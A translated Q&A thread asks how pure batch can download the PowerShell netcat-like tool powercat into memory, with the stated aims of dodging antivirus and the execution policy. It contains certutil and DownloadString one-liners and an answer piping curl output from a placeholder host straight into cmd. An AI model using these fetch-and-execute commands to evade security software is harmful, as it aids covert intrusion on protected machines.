通过纯批处理将远程文件下载到内存中

Hax*_*337 8 powershell cmd batch-file

在我的批处理脚本中,我试图远程下载和执行一个 powershell 脚本。这是网址:

https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
Run Code Online (Sandbox Code Playgroud)

我想将文件下载到内存中(不接触磁盘),原因如下:

  1. 它绕过AV检测
  2. 它绕过了 Powershell 执行策略,因此不需要powershell -nop -ep bypass导致 AV 检测的
  3. 不会抛出不必要的语法错误
  4. 您可以直接使用 .ps1 脚本中定义的函数

显然我可以使用certutil

certutil -urlcache -split -f <url>
Run Code Online (Sandbox Code Playgroud)

但我不希望该文件命中磁盘,这会导致 AV 检测。
使用其他语言(例如 PowerShell)可以轻松完成相同的事情:

(New-Object Net.WebClient).DownloadString($url)
Run Code Online (Sandbox Code Playgroud)

或者

(New-Object IO.StreamReader([Net.HttpWebRequest]::Create($url).GetResponse().GetResponseStream())).ReadToEnd()
Run Code Online (Sandbox Code Playgroud)

我知道批处理不是执行此操作的最佳语言,但有可能吗?(我想要纯批次

jeb*_*jeb 2

下载并执行,无需临时文件

curl -s https://example.com/test.bat | cmd /v:on /k
Run Code Online (Sandbox Code Playgroud)

示例测试.bat

@echo off
(
cls

echo Hello
echo Time: !time!
exit
)
Run Code Online (Sandbox Code Playgroud)

构建代码

正如在运行之前强制批处理文件加载到 RAM中所述,您可以缓存单个命令块。

有一些限制:

  • 它在 cmd (不是批处理)上下文中运行,变量扩展有点不同。
  • 标签无法使用

通过这种技术,您可以使用正常的批处理宏样式


归档时间:

查看次数:

2546 次

最近记录:

6 年,5 月 前